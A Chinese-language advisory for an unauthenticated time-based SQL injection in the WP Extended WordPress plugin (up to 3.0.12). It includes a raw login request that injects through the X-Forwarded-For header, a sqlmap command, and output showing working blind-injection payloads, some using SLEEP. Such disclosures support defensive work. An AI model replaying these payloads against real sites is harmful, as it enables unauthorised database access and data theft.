终极WordPress工具包 – WP Extended <= 3.0.12 - 通过登录尝试模块的未认证SQL注入
终极WordPress工具包 – WP Extended 插件(WordPress 平台)在其登录尝试模块中存在基于时间的SQL注入漏洞,影响所有版本至 3.0.12(含)。该漏洞源于对用户提供的参数转义不足,且未能充分准备现有 SQL 查询。这使得未认证攻击者能够将额外的 SQL 查询附加到已有查询中,从而从数据库中提取敏感信息。
POST /wp-login.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
X-Forwarded-For: 192.168.1.1*
Origin: http://kubernetes.docker.internal
Connection: close
Referer: http://kubernetes.docker.internal/wp-login.php
log=admin&pwd=password123&wp-submit=Log+In&redirect_to=http%3A%2F%2Ftarget.example.com%2Fwp-admin%2F
python3 $HOME/tools/sqlmap/sqlmap.py -r r.txt --dbms mysql --level 5 --risk 3
___
__H__
___ ___[']_____ ___ ___ {1.9.1.2#dev}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:01:03 /2025-01-20/
[15:01:03] [INFO] parsing HTTP request from 'r.txt'
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] y
[15:01:05] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('wordpress_test_cookie=WP%20Cookie%20check'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: X-Forwarded-For #1* ((custom) HEADER)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: -5222' OR 9498=9498 AND 'bIQZ'='bIQZ
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: 192.168.1.1' AND (SELECT 7893 FROM (SELECT(SLEEP(5)))UTpz) AND 'tzYB'='tzYB
---
[15:01:06] [INFO] testing MySQL
[15:01:07] [INFO] confirming MySQL
[15:01:07] [WARNING] the back-end DBMS is not MySQL
[15:01:07] [CRITICAL] sqlmap was not able to fingerprint the back-end database management system
[*] ending @ 15:01:07 /2025-01-20/